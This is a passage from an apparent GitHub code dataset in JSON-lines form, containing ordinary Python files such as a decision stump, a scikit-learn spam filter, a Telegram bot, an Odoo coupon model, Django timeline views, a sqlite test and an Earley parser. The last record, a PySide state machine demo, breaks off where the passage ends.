thresholds[:-1]:\n # Count number of class labels where the feature is greater than threshold\n y_vals = y[X[:,d] > value]\n count1 = np.bincount(y_vals)\n count1 = np.pad(count1, (0,len(count)-len(count1)), \\\n mode='constant', constant_values=0) # pad end with zeros to ensure same length as 'count'\n count0 = count-count1\n\n # Compute infogain\n p1 = count1/np.sum(count1)\n p0 = count0/np.sum(count0)\n H1 = -np.sum(p1*log0(p1))\n H0 = -np.sum(p0*log0(p0))\n prob1 = np.sum(X[:,d] > value)/N\n prob0 = 1-prob1\n\n infoGain = entropyTotal - prob1*H1 - prob0*H0\n # assert infoGain >= 0\n # Compare to minimum error so far\n if infoGain > maxGain:\n # This is the highest information gain, store this value\n maxGain = infoGain\n splitVariable = d\n splitValue = value\n splitSat = np.argmax(count1)\n splitNot = np.argmax(count0)\n\n # if infoGain > 0: # if there's an actual split. rather than everything going to one side. there are other ways of checking this condition...\n self.splitVariable = splitVariable\n self.splitValue = splitValue\n self.splitSat = splitSat\n self.splitNot = splitNot\n","repo_name":"leticianakajima/machine_learning_a1","sub_path":"code/decision_stump.py","file_name":"decision_stump.py","file_ext":"py","file_size_in_byte":7036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14420509633","text":"import os\nfrom builtins import map\n\nimport errno\nfrom sklearn.cross_validation import cross_val_score\nimport numpy as np\nimport pickle\n\nfrom analizador_de_mensajes import AnalizadorDeMensajes\nfrom utils import NOMBRES_DE_CLASIFICADORES_POR_NUMERO\n\n\nclass SpamFilter(object):\n CANTIDAD_DE_FOLDS_DEFAULT = 10\n CANTIDAD_DE_THREADS_DEFAULT = 8\n CANTIDAD_DE_CORES_DEFAULT = 4\n\n def __init__(self, dataframe, clasificadores, lista_de_atributos_a_buscar, utilizar_cache=True,\n cantidad_de_folds_de_cross_validation=CANTIDAD_DE_FOLDS_DEFAULT):\n self._dataframe = dataframe\n self._clasificadores = clasificadores\n self._lista_de_atributos_a_buscar = lista_de_atributos_a_buscar\n self._cantidad_de_folds_de_cross_validation = cantidad_de_folds_de_cross_validation\n self._utilizar_cache = utilizar_cache\n\n def hacer_cross_validation(self, mostrar_resultados_intermedios=False, utilizo_grid_search=False):\n\n valores = self.valores(self._dataframe)\n clasificaciones = self._dataframe['class']\n if utilizo_grid_search:\n return self._calcular_resultados_para_todos_los_clasificadores_con_grid_search(clasificaciones, valores,\n mostrar_resultados_intermedios)\n else:\n return self._calcular_resultados_para_todos_los_clasificadores(clasificaciones, valores,\n mostrar_resultados_intermedios)\n\n def entrenar(self):\n valores = self.valores(self._dataframe)\n clasificaciones = self._dataframe['class']\n for clasificador in self._clasificadores:\n clasificador.fit(X=valores, y=clasificaciones)\n\n def valores(self, dataframe):\n analizador_de_mensajes = AnalizadorDeMensajes(self._lista_de_atributos_a_buscar, dataframe,\n self._utilizar_cache, verbose=False)\n analizador_de_mensajes.analizar_mensajes()\n nombres_de_atributos_utilizados = list(map(lambda atributo: atributo.nombre(),\n self._lista_de_atributos_a_buscar))\n valores = dataframe[nombres_de_atributos_utilizados].values\n return valores\n\n def predecir(self, lista_mensajes, indice_de_clasificador=0):\n return self._clasificadores[indice_de_clasificador].predict(X=lista_mensajes)\n\n def score(self, lista_mensajes, clasificaciones, indice_de_clasificador=0):\n return self._clasificadores[indice_de_clasificador].score(X=lista_mensajes, y=clasificaciones)\n\n def cargar_modelo(self, input_filepath, indice_de_clasificador=0):\n with open(input_filepath, 'rb') as input_file:\n self._clasificadores[indice_de_clasificador] = pickle.load(input_file)\n\n def guardar_modelo(self, output_folder, indice_de_clasificador=0, numero_de_clasificador=0):\n nombre_clasificador = NOMBRES_DE_CLASIFICADORES_POR_NUMERO[numero_de_clasificador]\n if not os.path.exists(os.path.dirname(output_folder)):\n try:\n os.makedirs(os.path.dirname(output_folder))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n\n with open(os.path.join(output_folder, '%s.pickle' % nombre_clasificador), 'wb+') as output_file:\n pickle.dump(self._clasificadores[indice_de_clasificador], output_file)\n\n def _calcular_resultados_para_todos_los_clasificadores(self, clasificaciones, valores,\n mostrar_resultados_intermedios=False):\n # self._mensaje_de_inicio_de_cross_validation_con_los_clasificadores()\n resultados_por_clasificador = {}\n for clasificador in self._clasificadores:\n nombre_del_clasificador = clasificador.__class__.__name__\n self._mensaje_de_progreso_de_cross_validation_para_el_clasificador(nombre_del_clasificador)\n\n resultado_de_cross_validation = cross_val_score(clasificador, valores, clasificaciones,\n cv=self._cantidad_de_folds_de_cross_validation,\n n_jobs=1, verbose=mostrar_resultados_intermedios)\n if mostrar_resultados_intermedios:\n self._mostrar_resultados_intermedios_para(nombre_del_clasificador, resultado_de_cross_validation)\n\n resultados_por_clasificador[nombre_del_clasificador] = resultado_de_cross_validation\n return resultados_por_clasificador\n\n def _calcular_resultados_para_todos_los_clasificadores_con_grid_search(self, clasificaciones, valores,\n mostrar_resultados_intermedios=False):\n # self._mensaje_de_inicio_de_cross_validation_con_los_clasificadores()\n resultados_por_clasificador = {}\n for clasificador in self._clasificadores:\n nombre_del_clasificador = clasificador.__class__.__name__\n self._mensaje_de_progreso_de_cross_validation_para_el_clasificador(nombre_del_clasificador)\n\n resultado_de_cross_validation = clasificador.fit(valores, clasificaciones)\n\n if mostrar_resultados_intermedios:\n self._mostrar_resultados_intermedios_para(nombre_del_clasificador, resultado_de_cross_validation)\n\n resultados_por_clasificador[nombre_del_clasificador] = resultado_de_cross_validation\n return resultados_por_clasificador\n\n def _mensaje_de_progreso_de_cross_validation_para_el_clasificador(self, nombre_del_clasificador):\n print('- Haciendo cross validation con el clasificador \"%s\"' % nombre_del_clasificador)\n\n def _mensaje_de_inicio_de_cross_validation_con_los_clasificadores(self):\n print('----------- Comenzando a analizar con cross validation (%s folds, %s clasificadores) -----------' % (\n self._cantidad_de_folds_de_cross_validation, len(self._clasificadores)))\n\n def _mostrar_resultados_intermedios_para(self, nombre_del_clasificador, resultado_de_cross_validation):\n print('%s , %s , %s' % (nombre_del_clasificador, np.mean(resultado_de_cross_validation),\n np.std(resultado_de_cross_validation)))\n","repo_name":"martinrey/machine-learning","sub_path":"tp1/spam_filter.py","file_name":"spam_filter.py","file_ext":"py","file_size_in_byte":6402,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7641846912","text":"import sys\nimport pprint\nimport telegram\nfrom telegram.ext import (Updater, CommandHandler)\nfrom mongoengine import *\nfrom pymongo import *\nimport config\nimport logging\n\nfrom food.Food import Food\n\nlogging.basicConfig(level=logging.DEBUG)\nlog = logging.getLogger(\"__main__\")\nadmin = []\nchat_id = []\n# foods = connect(config.DB_COLL, host=config.DB_HOST, port=config.DB_PORT)\ndb = MongoClient(host=config.DB_HOST, port=config.DB_PORT)\n\n\ndef start(bot, update):\n update.message.reply_text('Hello!')\n\n\ndef help(bot, update):\n update.message.reply_text('Help!')\n\n\ndef random(bot, update):\n with MongoClient(config.DB_HOST, config.DB_PORT) as client:\n db = client[config.DB_COLL]\n wfoods = db.ieat.foods\n for s in wfoods.find():\n pprint.pprint(s)\n print(\"random\")\n update.message.reply_text(\"random\")\n update.message.reply_text(str(s))\n # sample = Food.objects(group='Dairy and Egg Products')\n # for s in sample:\n # pprint.pprint(s)\n # print(\"random\")\n # update.message.reply_text(\"random\")\n # update.message.reply_text(str(s))\n\n\ndef error(bot, update, error_msg):\n log.warning('Update \"%s\" caused error \"%s\"' % (update, error_msg))\n\n\ndef main(token):\n updater = Updater(token=token)\n d = updater.dispatcher\n\n d.add_handler(CommandHandler(config.CMD_START, start))\n d.add_handler(CommandHandler(config.CMD_HELP, help))\n d.add_handler(CommandHandler(config.CMD_RANDOM, random))\n\n d.add_error_handler(error)\n\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == '__main__':\n main(sys.argv[1])\n","repo_name":"sah4ez/iEat","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40690431017","text":"from odoo import api, fields, models\n\n\nclass SaleCouponProgram(models.Model):\n _inherit = \"sale.coupon.program\"\n\n sale_coupon_criteria = fields.Selection(\n selection=[(\"domain\", \"Domain\"), (\"multi_product\", \"Multi Product\")],\n string=\"Coupon criteria\",\n help=\"- Domain: Standard behavior. The products are evaluated by domain.\\n\"\n \"- Multi product: different rules can be applied to different products \"\n \"and all of the have to be fulfilled\",\n default=\"domain\",\n )\n sale_coupon_criteria_ids = fields.One2many(\n string=\"Multi Product Criterias\",\n comodel_name=\"sale.coupon.criteria\",\n inverse_name=\"program_id\",\n )\n\n @api.onchange(\"sale_coupon_criteria\")\n def _onchange_sale_coupon_criteria(self):\n \"\"\"Clear domain so we clear some other fields from the view\"\"\"\n if self.sale_coupon_criteria == \"multi_product\":\n self.rule_products_domain = False\n\n def _filter_programs_on_products(self, order):\n \"\"\"\n After splitting the programs according to their criteria, we'll check the rules\n on the multi-product ones to filter those that fulfill all the conditions.\n Depending on the Repeat Product setting a valid criteria will be:\n - Repeat: at least one of the products in the criteria and the minimum qty\n - No repeat: one unit every product in the criteria.\n All the criterias defined in a program must be fulfilled.\n \"\"\"\n domain_programs = self.filtered(lambda x: x.sale_coupon_criteria == \"domain\")\n multi_product_programs = (self - domain_programs).filtered(\n \"sale_coupon_criteria_ids\"\n )\n # We'll return them altogether\n valid_domain_criteria_programs = super(\n SaleCouponProgram, domain_programs\n )._filter_programs_on_products(order)\n order_lines = (\n order.order_line.filtered(lambda line: line.product_id)\n - order._get_reward_lines()\n )\n products = order_lines.mapped(\"product_id\")\n products_qties = dict.fromkeys(products, 0)\n for line in order_lines:\n products_qties[line.product_id] += line.product_uom_qty\n valid_multi_product_criteria_programs = multi_product_programs\n for program in multi_product_programs:\n criterias_are_valid = True\n for criteria in program.sale_coupon_criteria_ids:\n valid_products = program._get_valid_products_multi_product(\n products, criteria\n )\n if not valid_products:\n criterias_are_valid = False\n break\n ordered_rule_products_qty = sum(\n products_qties[p] for p in valid_products\n )\n # Avoid program if 1 ordered foo on a program '1 foo, 1 free foo'\n # as it's done in the standard\n if (\n program.promo_applicability == \"on_current_order\"\n and program.reward_type == \"product\"\n and program.reward_product_id in criteria.product_ids\n ):\n ordered_rule_products_qty -= program.reward_product_quantity\n if ordered_rule_products_qty < criteria.rule_min_quantity:\n criterias_are_valid = False\n break\n if not criterias_are_valid:\n valid_multi_product_criteria_programs -= program\n return valid_domain_criteria_programs + valid_multi_product_criteria_programs\n\n def _get_valid_products_multi_product(self, products, criteria):\n \"\"\"Return valid products depending on the criteria repeat product setting. Then\n the main method will check if the minimum quantities are acomplished.\"\"\"\n if criteria.repeat_product:\n return products.browse(\n [x.id for x in criteria.product_ids if x in products]\n )\n if not all([x in products for x in criteria.product_ids]):\n return self.env[\"product.product\"]\n return criteria.product_ids\n","repo_name":"OCA/sale-promotion","sub_path":"sale_coupon_criteria_multi_product/models/sale_coupon_program.py","file_name":"sale_coupon_program.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"31"} +{"seq_id":"10199055058","text":"# Function takes an Array as an argument find out if there is\r\n# any number in the Array which is greater than sum of other elements.\r\n\r\n# function for length of array\r\ndef lenfn(arr):\r\n c=0\r\n for i in arr:\r\n c+=1\r\n return c\r\n\r\n# function for calculating sum\r\ndef sumfn(arr):\r\n total=0\r\n for i in arr:\r\n total+=i\r\n return total\r\n\r\n# take array arguments as input\r\ndef ex6(arr):\r\n for i in range(lenfn(arr)):\r\n if (arr[i]>sumfn(arr[0:i]+arr[i+1:])):\r\n return arr[i]\r\n return\r\n\r\n# Run the function for given input\r\nprint(ex6([10,20,30,45,90,200,2000,10001]))\r\n\r\nprint(ex6([10,20,30,40,90,200,20]))","repo_name":"sudh29/Trainings","sub_path":"ex6.py","file_name":"ex6.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13701658240","text":"import pygame\nfrom pygame.locals import *\nfrom sys import exit\nfrom random import randint\n\npygame.init()\nSCREEN_SIZE = (800,600)\nscreen = pygame.display.set_mode(SCREEN_SIZE)\nscreen.fill((255,255,255))\n\ncontadorCor = 0\ncores = [(0, 0, 255), (0,0,0), (255,0,0), (255,255,0), (0,255,0)]\n\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n exit()\n print(event)\n\n\n if contadorCor >= len(cores):\n contadorCor = 0\n\n pygame.draw.rect(screen, cores[contadorCor], (750, 570, 50, 30), 0)\n\n # Random está menor que largura e altura para aparecer apenas dentro da tela\n pygame.draw.rect(screen, cores[contadorCor], (randint(0, 750), randint(0, 570), 50, 30), 0)\n pygame.display.update()\n pygame.time.delay(1000)\n contadorCor += 1","repo_name":"Lugaba/pythonGames","sub_path":"Prova.py","file_name":"Prova.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16995778447","text":"from Libs import *\n\ndef SolveIntegralTrapzMethod1D(x, T):\n x_squared = [i ** 2 for i in x]\n N = len(x) - 1\n h = T / N\n\n val1 = x_squared[0] + x_squared[-1]\n val2 = 0\n\n for t_i in range(1, N):\n val2 = val2 + x_squared[t_i]\n\n val2 = val2 * 2\n\n result = (h / 2) * (val1 + val2)\n\n return result\n\ndef SolveIntergralFullerScipyQuadMethod(T):\n A0 = 1/126\n def func(t):\n return ((T - t)**4) * 49 * 6 * A0 ** 2\n result, err = scipy.integrate.quad(lambda t: func(t), 0, T)\n print(\"Integral Result for Fuller Problem(Quad) = {}\".format(result))\n return result\n\ndef SolveIntegralTrapzMethod2D(x1, x2, T):\n\n N = len(x1) - 1\n h = T / N\n\n\n x1_squared = [i ** 2 for i in x1]\n x2_squared = [i ** 2 for i in x2]\n zipped = zip(x1_squared, x2_squared)\n x_sum = [val1 + val2 for (val1, val2) in zipped]\n\n val1 = x_sum[0] + x_sum[-1]\n val2 = 0\n\n for t_i in range(1, N):\n val2 = val2 + x_sum[t_i]\n\n val2 = val2 * 2\n\n result = (h / 2) * (val1 + val2)\n\n print(result)\n\n return result","repo_name":"nigglev/Diploma","sub_path":"IntegralSolver.py","file_name":"IntegralSolver.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3749841758","text":"\nfrom django.core.cache import cache\nfrom django.db.models import Count, Q\n\nfrom rest_framework.response import Response\nfrom rest_framework import viewsets, status\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom user_management.models import User\nfrom user_management.serializers import UserHomeTimeLineSerializer\n\nfrom pin_management.models import Pin\nfrom pin_management.serializers import PinSerializerReadOnly\n\nfrom lenssnap_backend.custom_pagination import StandardPageNumberPagination\nfrom lenssnap_backend.cache_utils import Cache\n\ncache_obj = Cache()\n\n\nclass HomeTimeLineView(viewsets.ModelViewSet):\n\n model = User\n queryset = User.objects.all()\n permission_classes = (IsAuthenticated, )\n serializer = UserHomeTimeLineSerializer\n\n def list(self, request):\n\n user = request.user.id\n user_param = request.query_params.get('user', None)\n if user_param:\n user = user_param\n\n users = User.objects.filter(id=user).annotate(\n pins_count=Count('created_pins__id', distinct=True),\n following_count=Count('followers_by__id', distinct=True),\n followers_count=Count('followers_to__id', distinct=True)\n )\n user = users[0]\n serializer = UserHomeTimeLineSerializer(user)\n return Response({\n \"msg\": \"user hometimeline fetched successfully.\",\n \"data\": serializer.data\n })\n\n def create(self, request, pk):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def update(self, request, pk):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def partial_update(self, request, pk):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def destroy(self, request, pk):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n\nclass UserTimeLineView(viewsets.ModelViewSet):\n\n model = Pin\n permission_classes = (IsAuthenticated,)\n serializer_class = PinSerializerReadOnly\n queryset = Pin.objects.all()\n pagination_class = StandardPageNumberPagination\n\n def list(self, request):\n user = request.user.id\n cache.clear()\n user_cache = cache.get(user, None)\n if user_cache and user_cache.get('user_timeline'):\n pins = user_cache.get('user_timeline')\n else:\n following_ids = request.user.followers_by.all().values_list('followed_to', flat=True)\n pins = Pin.objects.select_related().filter(\n created_by__in=following_ids\n ).annotate(\n likes_count=Count('likes', distinct=True),\n comments_count=Count('comments', distinct=True),\n is_liked=Count('likes', filter=Q(likes__like_by=user), distinct=True)\n ).order_by('-created_at')\n pins = PinSerializerReadOnly(pins, many=True)\n pins = pins.data\n cache_obj.load_user_data(request.user)\n\n page = self.paginate_queryset(pins)\n return Response({\n \"msg\": \"user timeline fetched successfully\",\n \"data\": self.get_paginated_response(page).data\n })\n","repo_name":"rnshaikh/lenssnap","sub_path":"lenssnap_backend/user_management/views/timeline_views.py","file_name":"timeline_views.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13623629501","text":"import os, sys, unittest\nimport json\n\nmodule_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\ndbname = os.path.join(module_path, 'startnature.db') \n\nclass TestSqlite(unittest.TestCase):\n\n def setUp(self):\n db = DataStore(Sqlite, ConnectInfo(dbname=dbname))\n db.begin()\n db.execute('''\n DROP TABLE IF EXISTS tests_stocks\n ''')\n db.commit()\n db.close()\n\n def tearDown(self):\n pass\n\n def test_query(self):\n # set your api token on your environment variable from issued at official site.\n conn = None\n conn2 = None\n try :\n print(\"dbname: {} ... use sqlite3 \".format(dbname)) \n conn = DataStore(Sqlite, ConnectInfo(dbname=dbname))\n conn.begin()\n\n # conn.execute(\"ATTACH DATABASE '\" + dbname + \"' as 'tests'\")\n conn.execute('CREATE TABLE tests_stocks (date text, trans text, symbol text, qty real, price real)')\n conn.commit()\n\n # Insert a row of data\n query_single = \"INSERT INTO tests_stocks (trans, symbol, qty, price, date) VALUES (? , ?, ?, ?, ?)\"\n param_single = ('BUY','RHAT', 100, 5.14, '2006-01-05')\n conn.execute(query_single, params=param_single)\n\n query_multi = \"INSERT INTO tests_stocks VALUES (? , ?, ?, ?, ?)\"\n param_multi = [\n ('2006-03-28', 'BUY', 'IBM', 1000, 45.0),\n ('2006-04-06', 'SELL', 'IBM', 500, 53.0)\n ]\n conn.execute(query_multi, params=param_multi)\n\n query_multi2 = \"INSERT INTO tests_stocks VALUES (:date, :trans, :symbol, :qty, :price)\"\n param_multi2 = [\n {'date':'2006-04-09', 'trans':'BUY', 'symbol':'MSFT', 'qty':1000, 'price':72.0},\n {'date':'2006-04-12', 'trans':'SELL', 'symbol':'APPL', 'qty':1200, 'price':66.0}\n ]\n conn.execute(query_multi2, params=param_multi2)\n conn.commit()\n conn.close()\n\n conn2 = DataStore(Sqlite, ConnectInfo(dbname=dbname))\n query2 = 'SELECT * FROM tests_stocks WHERE trans=:trans ORDER BY price'\n filter_buy = {'trans': 'BUY'}\n st = conn2.execute(query2, params=filter_buy)\n for row in st:\n print(row)\n\n conn2.close()\n\n except Exception as e:\n print(\"An error occurred:{} type:{}\".format(e.args[0], type(e)))\n self.assertTrue(False)\n if conn is not None:\n conn.rollback() \n conn.close() \n if conn2 is not None:\n conn2.rollback() \n conn2.close() \n else : \n self.assertTrue(True)\n finally :\n pass\n\nif __name__ == '__main__':\n if module_path not in sys.path:\n sys.path.append(module_path)\n from db.sqlite import *\n from db.base import *\n unittest.main()\n","repo_name":"mickeyjap182/modules","sub_path":"tests/db/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22574397367","text":"'''\nCreated on Nov 22, 2011\n\n@author: Lukasz Kreczko\n\nEmail: Lukasz.Kreczko@cern.ch\n\nimportant features:\n\n- read MC and data histograms and combine them\n- set styles and colors\n- allow switches for log-scale, cumulitative histograms, underflow/overflow bins, error sources\n\n'''\n\nimport dps.utils.PlottingUtilities as plotting\nimport FILES\nimport ROOTFileReader as reader\nimport QCDRateEstimation\n\ndef plot(histpath, qcdShapeFrom, qcdShapeForSystematics, qcdRateEstimate, rebin=1, suffixes=[]):\n inputFiles = FILES.files\n #get histograms\n if len(suffixes) > 0:\n for suffix in suffixes:\n hist = histpath + '_' + suffix\n histograms = reader.getHistogramDictionary(histpath, inputFiles)\n else:\n histograms = reader.getHistogramDictionary(histpath, inputFiles)\n\n\nif __name__ == \"__main__\":\n inputFiles = FILES.files\n estimateQCD = QCDRateEstimation.estimateQCDWithRelIso\n plot(histpath='TTbarEplusJetsPlusMetAnalysis/Ref selection/MET/patMETsPFlow/Angle_lepton_MET',\n qcdShapeFrom ='TTbarEplusJetsPlusMetAnalysis/Ref selection/QCDConversions/MET/patMETsPFlow/Angle_lepton_MET',\n qcdShapeForSystematics = 'TTbarEplusJetsPlusMetAnalysis/Ref selection/QCD non iso e+jets/MET/patMETsPFlow/Angle_lepton_MET',\n qcdRateEstimate=estimateQCD,\n rebin=1,\n suffixes=['0btag', '1btag', '2orMoreBtags'])\n \n","repo_name":"BristolTopGroup/DailyPythonScripts","sub_path":"dps/legacy/makePrettyPlots.py","file_name":"makePrettyPlots.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"7473334464","text":"from argparse import ArgumentParser\nfrom typing import Callable, List, Dict, Optional, Set, Tuple\n\nimport EBNF_Grammar\nfrom EBNF_Tokenizer import EBNF_Tokenizer\nfrom EBNF_Visitor import EBNF_Visitor\nfrom Rule import Token, Rule\nimport simple_sentence\nfrom simple_tokenizer import Simple_Tokenizer\nfrom Tree import Node\n\nclass Parser:\n \"\"\"\n An Earley parser implemented based on the algorithm in the text\n\n Attributes:\n grammar A dictionary containing our base ruleset\n terminals A dictionary mapping terminal tokens to their values, generated from grammar\n chart The chart for our parse\n input_tokens The string to be parsed\n current_position The position in the parse\n \"\"\"\n\n grammar: Dict[Token, List[Rule]]\n terminals: Dict[Token, Set[str]]\n chart: List[List[Rule]]\n input_tokens: List[Token]\n start_symbol: Token\n current_position: int\n\n\n def __init__(self, grammar: Dict[Token, List[Rule]], start_symbol: Token,\n input_tokens: Optional[List[Token]]=None) -> None:\n self.grammar = grammar\n self.terminals = {\n token : {literal.value for rule in self.grammar[token] for literal in rule.rhs if self.is_terminal(literal)}\n for token in self.grammar.keys()\n }\n if input_tokens:\n self.chart = [[] for _ in range(len(input_tokens) + 1)]\n self.input_tokens = input_tokens if input_tokens else []\n self.start_symbol = start_symbol\n self.current_position = 0 # i in the text\n\n def is_terminal(self, token: Token) -> bool:\n return not token in self.grammar\n\n def is_terminating(self, token: Token) -> bool:\n # constituents are nonterminals producing nonterminals\n return all([self.is_terminal(tok) for rule in self.grammar.get(token, []) for tok in rule.rhs])\n\n def insert(self, rule: Rule) -> None:\n rule.index = (rule.current_index, len(self.chart[rule.current_index]))\n # Avoid repeatedly inserting rules that are 'from xxx'\n if rule.updated_rule or rule not in self.chart[rule.current_index]:\n self.chart[rule.current_index].append(rule)\n\n def predict(self, rule: Rule) -> None:\n tok = rule.get_current_token()\n if tok is None:\n raise ValueError('Predict cannot be called with a completed rule')\n for descendant_rule in self.grammar[tok]:\n new_rule = Rule(descendant_rule.lhs, descendant_rule.rhs, self.current_position, self.current_position,\n previous_rule=rule.index)\n self.insert(new_rule)\n\n def extend_others(self, completed_rule: Rule) -> None:\n is_waiting = lambda rule: rule.get_current_token() == completed_rule.lhs\n waiting_rules = [rule for rule in self.chart[completed_rule.start_index] if is_waiting(rule)]\n for waiting_rule in waiting_rules:\n self.insert(Rule(waiting_rule.lhs, waiting_rule.rhs,\n waiting_rule.start_index, completed_rule.current_index, dot_index=waiting_rule.dot_index+1,\n previous_rule=completed_rule.index, updated_rule=waiting_rule.index))\n\n def scan_input(self, rule: Rule) -> None:\n try:\n next_token = self.input_tokens[rule.current_index]\n except IndexError:\n return\n if next_token == rule.get_current_token()\\\n or (rule.get_current_token() in self.terminals and next_token.value in self.terminals[rule.get_current_token()]):\n self.insert(Rule(rule.get_current_token(), [next_token], rule.current_index, rule.current_index+1, dot_index=1))\n\n def parse(self, input_tokens: Optional[List[Token]]=None) -> None:\n if input_tokens:\n self.input_tokens = input_tokens\n self.chart = [[] for _ in range(len(input_tokens) + 1)]\n for start_rule in self.grammar[self.start_symbol]:\n self.insert(start_rule)\n while self.current_position <= len(self.input_tokens):\n for rule in self.chart[self.current_position]:\n if rule.is_completed():\n self.extend_others(rule)\n elif self.is_terminating(rule.get_current_token()):\n self.scan_input(rule)\n else:\n self.predict(rule)\n self.current_position += 1\n\n def is_complete(self) -> bool:\n if not any(self.chart):\n self.parse()\n completed: Callable[[Rule], bool] = lambda rule: rule.lhs == self.start_symbol and rule.start_index == 0 \\\n and rule.current_index == len(self.input_tokens)\n return any([completed(rule) for rule in self.chart[-1]])\n\n def get_rule(self, index: Optional[Tuple[int, int]]) -> Rule:\n if index is None:\n raise ValueError('None index passed to get_rule')\n row, idx = index\n try:\n return self.chart[row][idx]\n except IndexError as e:\n print(f'Invalid rule access at {index}')\n raise e\n\n\n def __make_node(self, rule: Rule) -> Node[Token]:\n\n # Handle all previous rules\n previous_siblings = []\n iterator = rule\n while iterator.updated_rule:\n previous_siblings.append(iterator)\n iterator = self.get_rule(iterator.updated_rule)\n\n # Make the node corresponding to the input rule\n new_parent_node = Node(rule.lhs)\n\n if previous_siblings:\n while previous_siblings:\n sibling = previous_siblings.pop()\n # This check is needed to avoid double counting terminals at the end of a tagged string\n if not self.is_terminal(sibling.lhs):\n new_parent_node.append_node(self.__make_node(self.get_rule(sibling.previous_rule)))\n else:\n previous_token = rule.get_previous_token()\n if previous_token:\n new_parent_node.value = Token(rule.lhs.token_type, value=previous_token.value)\n # if previous_token and self.is_terminal(previous_token) and not previous_token == rule.lhs:\n # new_parent_node.add_child(rule.get_previous_token())\n\n return new_parent_node\n\n def parse_tree(self) -> Optional[Node[Token]]:\n if not any(self.chart):\n self.parse()\n try:\n completed = lambda rule: rule.lhs == self.start_symbol and rule.start_index == 0 \\\n and rule.current_index == len(self.input_tokens)\n completed_parse = next(rule for rule in self.chart[-1] if completed(rule))\n return self.__make_node(completed_parse)\n except StopIteration:\n return None\n\n def parse_forest(self) -> List[Node[Token]]:\n if not any(self.chart):\n self.parse()\n completed = lambda rule: rule.lhs == self.start_symbol and rule.start_index == 0 \\\n and rule.current_index == len(self.input_tokens)\n return [self.__make_node(rule) for rule in self.chart[-1] if completed(rule)]\n\n def __str__(self) -> str:\n def _token(index: int) -> str:\n return 'ℇ' if index <= 0 else self.input_tokens[index - 1]\n rows = [[f'Row {index}: {_token(index)}'] + [str(rule) for rule in row] for index, row in enumerate(self.chart)]\n return '\\n'.join(['\\n'.join(row) for row in rows])\n\n\n\nif __name__ =='__main__':\n parser = ArgumentParser(description='Parse a grammar and generate corresponding trees')\n parser.add_argument('-g', '--grammar-file', help='Read a grammar file written in EBNF')\n parser.add_argument('-s', '--start-symbol', help='The start symbol for the grammar, default S', default='S')\n parser.add_argument('input_file', help='File containing the string to be parsed')\n\n args = parser.parse_args()\n\n if args.grammar_file:\n with open(args.grammar_file) as grammar_file:\n ebnf_tokenizer = EBNF_Tokenizer(grammar_file)\n tokens = ebnf_tokenizer.tokenize()\n grammar_parser = Parser(EBNF_Grammar.grammar, EBNF_Grammar.start_symbol)\n grammar_parser.parse(tokens)\n grammar_tree = grammar_parser.parse_tree()\n if grammar_tree is None:\n raise ValueError('There is no valid parse')\n grammar_visitor = EBNF_Visitor()\n new_grammar = grammar_visitor.generate_grammar(grammar_tree)\n else:\n new_grammar = simple_sentence.grammar\n\n start_symbol = args.start_symbol\n\n with open(args.input_file) as input_file:\n tokenizer = Simple_Tokenizer(input_file.read())\n tokens = tokenizer.tokenize()\n earley_parser = Parser(new_grammar, Token(start_symbol), tokens)\n\n earley_parser.parse()\n print(earley_parser)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"deepfinessed/Earley-Parser","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":8881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37238119820","text":"__author__ = 'T90'\n__version__ = '1.0.0'\n\nfrom PySide.QtCore import *\nfrom PySide.QtGui import *\nfrom sys import argv\n\nclass App(QWidget):\n\tdef __init__(self):\n\t\tsuper(App, self).__init__()\n\t\tself.initUi()\n\n\tdef initUi(self):\n\t\tself.l = QVBoxLayout()\n\t\tself.setLayout(self.l)\n\t\tself.b1 = QPushButton()\n\t\tself.tb = QTextBrowser()\n\t\tself.l.addWidget(self.b1)\n\t\tself.l.addWidget(self.tb)\n\n\t\tmachine = QStateMachine(self)\n\t\ts1 = QState()\n\t\ts2 = QState()\n\t\ts3 = QState()\n\n\t\ts1.assignProperty(self.b1, \"text\", \"@ state 1\")\n\t\ts1.assignProperty(self.tb, \"rotation\", 60.0)\n\n\t\ts2.assignProperty(self.b1, \"text\", \"@ state 2\")\n\t\ts2.assignProperty(self.tb, \"rotation\", 120.0)\n\n\t\ts3.assignProperty(self.b1, \"text\", \"@ state 3\")\n\t\ts3.assignProperty(self.tb, \"rotation\", 180.0)\n\n\t\ts1.addTransition(self.b1.clicked, 